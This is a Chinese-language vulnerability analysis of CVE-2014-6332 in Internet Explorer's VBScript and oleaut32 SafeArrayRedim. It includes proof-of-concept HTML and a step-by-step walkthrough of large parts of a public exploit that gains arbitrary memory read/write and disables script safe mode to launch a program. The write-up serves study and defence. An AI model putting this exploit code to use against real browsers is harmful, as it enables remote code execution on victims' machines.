Internet Explorer漏洞分析(三)[下]——CVE-2014-6332

简介: •编号:CVE-2014-6332

0x01.1 漏洞简述

编号:CVE-2014-6332漏洞影响:远程代码执行(RCE)CVSS 2.0:9.3

oleaut32.dllSafeArrayRedim在进行数组重新定义时未对传入参数psaboundNew进行有效校验,以致可以越界读写,进而造成任意代码执行。

0x01.2 漏洞影响

Windows Server 2003 SP2, Windows Vista SP2, Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8, Windows 8.1, Windows Server 2012 Gold and R2, Windows RT Gold and 8.1

0x01.3 修复方案

[MS14-064]https://docs.microsoft.com/en-us/security-updates/securitybulletins/2014/ms14-064

0x02 漏洞分析

0x02.1 分析环境

OS版本:Windows 7 Service Pack 1Internet Explorer版本:8.0.7601.17514oleaut32.dll版本:6.1.7601.17514vbscript.dll版本:5.8.7601.17514

0x02.2 前置知识

请移步Internet Explorer漏洞分析(三)[上]——VBScript Scripting Engine初探

0x02.3 详细分析

分析所用POC如下:

<!doctype html><html lang="en"><head></head><body><script LANGUAGE="VBScript">    On Error Resume Next    Dim arrayA()    Dim size    Dim over    size = &h5    over = &h8000000 + size    Redim Preserve arrayA(size)    Redim Preserve arrayA(over)    arrayA(size+1) = "Hello"</script></body></html>

打开该POC,使用WinDbg附加调试,于vbscript!RedimPreserveArray函数处设断,允许阻止的内容:

图1

执行到call  oleaut32.dll!SafeArrayRedim处,跟进分析:

图2

首先是判断传入参数psapsaboundNew均不为空:

图3

之后对psa.fFeaturespsa.cDimspsa.cLocks进行判断:

图4

call SafeArraySize计算数组元素占用空间大小:

图5

psaboundNew写入psa.rgsabound中:

图6

调整后数组:

图7

计算调整后数组元素占用空间大小,减去原来数组元素占用空间大小:

图8

由于此时ebx=80000000,故执行结果为负数指令分支 :

图9

ole32!CRetailMalloc_Alloc函数用于为HeapAlloc传递参数并调用之:

图10

由于申请空间远远超过可分配空间大小,故分配失败,直接跳转到函数末返回错误值:

图11

由此,便可实现任意地址读写。

下面来看看正常执行流程,修改POC如下:

<!doctype html><html lang="en"><head></head><body><script LANGUAGE="VBScript">    On Error Resume Next    Dim arrayA()    Dim size    Dim over    size = &h6    resize = &h4    Redim Preserve arrayA(size)    arrayA(0)="Jane"    arrayA(5)="Alan"    Redim Preserve arrayA(resize)    IsEmpty(arrayA)</script></body></html>

调整后数组元素占用空间大小-原来数组元素占用空间大小=0x50-0x70=ffffffe0

图12

对其取相反数后申请如此大小空间:

图13

之后将数组多余元素即arrayA(5)—arrayA(6)复制到此空间内:

图14

图15

call ole32!CRetailMalloc_Realloc重新分配堆块:

图16

总结:

1.SafeArrayRedim函数在未重新分配空间之前便将psaboundNew写入psa.rgsabound,用以传递给SafeArraySize函数计算调整数组元素大小2.sub ebx, [ebp+Size]test ebx, ebx两条指令用于判断调整数组元素大小—原数组元素大小与零的关系,小于零/大于等于零进入不同分支处理3.neg [ebp+psaboundNew]对调整数组元素大小与原数组元素大小差值取相反数,将其传递给HeapAlloc函数分配相应大小堆块

POC中&h8000000(该值经过SafeArraySize函数计算后为0x80000000)正是利用以上三点,实现任意地址读写——test ebx, ebxjge组合进行有符号数比较,neg对其取反仍为0x80000000。

0x02.4 利用分析

Exp来自[yuange]https://www.exploit-db.com/exploits/35229。

第一部分:

function BeginInit()   Randomize()   redim aa(5)   redim ab(5)   a0=13+17*rnd(6)        a3=7+3*rnd(5)end functionfunction Create()  On Error Resume Next  dim i  Create=False  For i = 0 To 400    If Over()=True Then    '   document.write(i)            Create=True       Exit For    End If   Nextend function......function Over()    On Error Resume Next    dim type1,type2,type3    Over=False    a0=a0+a3    a1=a0+2    a2=a0+&h8000000      redim  Preserve aa(a0)     redim   ab(a0)           redim  Preserve aa(a2)      type1=1    ab(0)=1.123456789012345678901234567890    aa(a0)=10              If(IsObject(aa(a1-1)) = False) Then       if(intVersion<4) then           mem=cint(a0+1)*16                        j=vartype(aa(a1-1))           if((j=mem+4) or (j*8=mem+8)) then              if(vartype(aa(a1-1))<>0)  Then                     If(IsObject(aa(a1)) = False ) Then                            type1=VarType(aa(a1))                 end if                             end if           else             redim  Preserve aa(a0)             exit  function           end if         else           if(vartype(aa(a1-1))<>0)  Then                  If(IsObject(aa(a1)) = False ) Then                  type1=VarType(aa(a1))              end if                           end if        end if    end if                    '0x6f66 & 0xFFFFBFFF=0x2f66       If(type1=&h2f66) then                   Over=True          End If      If(type1=&hB9AD) Then          Over=True          win9x=1    End If      redim  Preserve aa(a0)                  end function

通过循环不断重新定义数组,扩大数组规模,直至数组aaab于内存中相邻(准确 来说,二者相差8字节):

图17

ab(0)=1.123456789012345678901234567890,该值转换IEEE浮点数可通过[IEEE 754 Calculator]http://weitz.de/ieee/ 计算:

图18

如此一来,可通过aa数组访问ab数组元素(由ab起始位置偏移8字节)。type1=&h2f66判断是由于GetVarType函数返回前会将vt0xFFFFBFFF作与运算:

图19

第二部分:

myarray=chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)        myarray=myarray&chrw(00)&chrw(32767)&chrw(00)&chrw(0).......sub testaa()end subfunction mydata()    On Error Resume Next     i=testaa     i=null     redim  Preserve aa(a2)         ab(0)=0     aa(a1)=i     ab(0)=6.36598737437801E-314     aa(a1+2)=myarray     ab(2)=1.74088534731324E-310       mydata=aa(a1)     redim  Preserve aa(a0)  end function

先来看 i=testaa操作——将函数赋值给变量。简化版如下:

<!doctype html><html lang="en"><head></head><body><script LANGUAGE="VBScript">    On Error Resume Next    sub testaa()    end sub    IsEmpty("Test")    i = testaa    i = null</script></body></html>

vbscript!VbsIsEmpty断下:

图20

通过ba w 2 1dc9e68ba w 4 1dc9e68+8两条指令对栈顶设断,第二次断下时,修改vt0x4C

图21

第三次断下:

图22

第四次断下,更改vt0x01(VT_NULL = 0x0001):

图23

但其仍存储的是vbscript!CScriptEntryPoint对象,其后赋值给iOn Error Resume Next在此处尤为重要,是否加入该语句执行情况对比:

图24

未加入On Error Resume Next语句最终会调用CSession::ReportError

图25

而不会执行后续i = null语句,感兴趣的读者可自行探索CScriptRuntime::RunNoEH函数,不在这里过多展开(该函数功能复杂,笔者仅是简单跟踪是否加入On Error Resume Next语句的执行流):

图26

开启任意读写后执行aa(a1)=i

图27

ab(0)=6.36598737437801E-314

图28

aa(a1+2)=myarray

图29

ab(2)=1.74088534731324E-310

图30

关于此处的调试可于vbscript!VbsIsEmpty函数设断,配合如下修改:

'isempty(ab)     ab(0)=0     aa(a1)=i    'isempty("1")     ab(0)=6.36598737437801E-314    'isempty("2")     aa(a1+2)=myarray    'isempty("3")     ab(2)=1.74088534731324E-310    'isempty("4")

第一次断下后,可获得数组元素存储位置:

图31

mydata=aa(a1)

图32

第三部分:

function ReadMemo(add)     On Error Resume Next    redim  Preserve aa(a2)        ab(0)=0       aa(a1)=add+4         ab(0)=1.69759663316747E-313           ReadMemo=lenb(aa(a1))         ab(0)=0         redim  Preserve aa(a0)end function

该函数功能用于读取参数add指向内存,关键函数是cbLengthBstr(具体请参考Internet Explorer漏洞分析(三)[上]——VBScript Scripting Engine初探中的0x05 LenB函数一节)。ab(0)=1.69759663316747E-313

图33

完成读取:

图34

第四部分:

function setnotsafemode()    On Error Resume Next    i=mydata()      i=readmemo(i+8)    i=readmemo(i+16)    j=readmemo(i+&h134)      for k=0 to &h60 step 4        j=readmemo(i+&h120+k)        if(j=14) then              j=0                        redim  Preserve aa(a2)                           aa(a1+2)(i+&h11c+k)=ab(4)              redim  Preserve aa(a0)                j=0               j=readmemo(i+&h120+k)                           Exit for           end if    next     ab(2)=1.69759663316747E-313    runmumaa() end function

第一次读取结果见上文图片,i=readmemo(i+16)第二次读取:

图35

该地址为vbscript!COleScript对象:

图36

通过循环于该对象偏移0x120之后搜寻0x0E,该值用于检查是否处于SafeMode:

图37

aa(a1+2)存储的是之前构造数组对象——myarray

图38

myarray起始地址为0,rgsabound.cElements0x7fff0000,故可读写vbscript!COleScript+0x170处内容:

图39

修改完成,进入GodMode,成功弹出notepad.exe。


相关文章
|
消息中间件 SQL JSON
阿里云物联网平台 “物模型属性” 的分析&&易错点&&上报属性时Payload如何正确组装?
您是否在纠结设备上报了数据,平台到底有没有收到? 您是否很疑惑物模型属性怎么老是不刷新? 您是否不理解物模型属性下发总是不生效? 您是否不知道上报属性时Payload到底该怎么填? 您是否很纳闷物模型属性一会又携带有时间戳,一会又没有? 您是否怀疑能不能自定义物模型属性的时间戳?又如何取到自定义时间戳? 您是否...
8933 3
阿里云物联网平台 “物模型属性” 的分析&&易错点&&上报属性时Payload如何正确组装?
【STM32】引脚GPIO批量操作数组&for循环流水灯
【STM32】引脚GPIO批量操作数组&for循环流水灯
1284 0
|
机器学习/深度学习 人工智能 自然语言处理
大模型开发:解释强化学习以及它与监督学习的不同之处。
强化学习(RL)是机器学习的一种,通过智能体与环境交互学习最优策略,以获取最大回报,常用于动态环境如游戏和机器人。与之不同,监督学习(SL)使用有标签的训练数据来预测新数据,适用于如图像分类等稳定问题。两者关键区别在于学习方式和应用场景:RL侧重环境交互和策略优化,适合未知动态环境;SL依赖已知标签数据,适合标签明确的任务。在大模型开发中,两者各有优势,并不断融合创新,推动人工智能发展。
1025 2
|
Linux 虚拟化
VMware虚拟机 用共享文件夹方式 与主机传输文件(图文)
VMware虚拟机 用共享文件夹方式 与主机传输文件(图文)
VMware虚拟机 用共享文件夹方式 与主机传输文件(图文)
|
3月前
|
网络协议 API 网络安全
永久独立IP服务器解析与选择指南
关于“永久独立IP服务器”,这个概念需要从技术和商业两个层面来理解,小编为您整理发布。
|
8月前
|
安全 Linux 虚拟化
VMware Tools 12.5.1 下载 - 虚拟机必备组件 (驱动和交互式服务)
虚拟机必备组件 (驱动和交互式服务)
6193 14
VMware Tools 12.5.1 下载 - 虚拟机必备组件 (驱动和交互式服务)
|
Kubernetes Cloud Native 开发者
OpenKruise:Kubernetes的超级插件,一键解锁容器运行时操作的超能力!
【8月更文挑战第8天】在云原生领域,Kubernetes虽已成为容器编排的标准,但仍有限制,比如批量操作不便和高级调度功能缺失。OpenKruise是一款增强工具,提供CloneSet、Advanced StatefulSet等功能,既保持Kubernetes API特性又增加了扩展性,使Pod管理更灵活。可通过Helm安装OpenKruise,并使用CloneSet轻松实现批量部署。这类增强工具让开发者能更高效地突破原生Kubernetes的限制,预计未来将更加受到欢迎。
319 48
|
机器学习/深度学习 人工智能 算法
人工智能在医疗诊断中的应用与挑战
本文探讨了人工智能(AI)在医疗诊断领域的应用,以及这一技术带来的机遇和挑战。随着技术的不断进步,AI已经成为医疗行业的重要工具,特别是在图像识别、疾病预测和个性化治疗等方面展现出巨大潜力。然而,AI在医疗诊断中的应用也面临着数据隐私、算法偏见和监管问题等挑战。本文旨在分析这些挑战,并提出相应的解决方案,以促进AI在医疗领域的健康发展。
253 27
|
12月前
|
安全 前端开发 JavaScript
什么是 CSRF 攻击?如何启用 CSRF 保护来抵御该攻击?
什么是 CSRF 攻击?如何启用 CSRF 保护来抵御该攻击?
1785 5
|
应用服务中间件 Linux nginx
nginx + geoip2简明配置
有时候需要nginx结合IP地址库做一些事情,比如过滤掉某个国家的IP,该如何做呢?